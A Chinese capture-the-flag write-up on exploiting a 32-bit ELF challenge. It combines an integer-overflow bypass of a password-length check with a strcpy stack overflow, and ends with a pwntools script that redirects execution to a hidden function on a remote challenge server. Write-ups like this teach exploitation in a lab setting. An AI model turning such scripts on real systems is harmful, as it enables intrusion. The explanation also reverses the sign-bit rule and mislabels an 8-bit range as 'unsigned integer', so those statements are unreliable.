题目描述
菜鸡感觉这题似乎没有办法溢出,真的么?
Solution
首先检查文件信息:
这是一个 ELF32 文件, 符号表未摘除,没有金丝雀,不是位置无关程序,但栈不可执行。我们把程序放入 IDA 分析:
在main()
函数中,我们输入一个选择,进入login()
函数。
在login()
函数中,用户输入用户名和密码,保存在栈上的缓冲区。这里没有栈溢出的情况。
进入check_passwd()
,如果我们输入的密码长度小于等于 3 或 大于 8,则失败退出。否则,会执行一个strcpy()
操作,这里password
的长度高达 409,而dest
缓冲区的长度只有 11,所以这里会发送缓冲区溢出。我们发现函数列表中有一个很特别:
所以解题思路就是构造一个栈溢出,然后把返回地址修改成what_is_this()
函数即可。上面的条件判断是 if(len_passwd <= 3u || len_passwd > 8u)
,我们需要一个整数溢出。无符号整型(Unsigned interger)的范围是 [0, 255],超过 255 就会回到 0。所以我们要控制长度在 [259, 263] 之间。
整数溢出原理整数分为有符号和无符号两种类型,有符号数以最高位作为其符号位,即正整数最高位为1,负数为0, 无符号数取值范围为非负数,在 32 位操作系统下,常见各类型占用字节数如下:
Type | Bytes | Range |
---|---|---|
int |
4 | -2147483648 to 2147483647 |
short int |
2 | -32768 to 32767 |
long int |
4 | -2147483648 to 2147483647 |
unsigned int |
4 | 0 to 4294967295 |
unsigned short int |
2 | 0 to 65535 |
unsigned long int |
4 | 0 to 4294967295 |
观察dest
变量的定义:
所以至少要大于0x14 + 4 + 4
。Python 漏洞利用脚本如下:
from pwn import *
#conn = process('./004')
conn = remote('111.200.241.244', 61667)
ret_addr = 0x0804868b # address of `what_is_this()`
payload = b'A' * (0x14 + 4) + p32(ret_addr) + \
b'A' * (259 - 0x14 - 4 - 4)
conn.sendlineafter('Your choice:', '1')
conn.sendlineafter('username:', 'root')
conn.sendlineafter('passwd:', payload)
conn.interactive()
这里的ret_addr
地址是直接从what_is_this()
函数中获取的目标函数执行地址。为了要让总长度为 259,我们要在尾部补足字符数量为 (259 - 0x14 - 4 - 4)。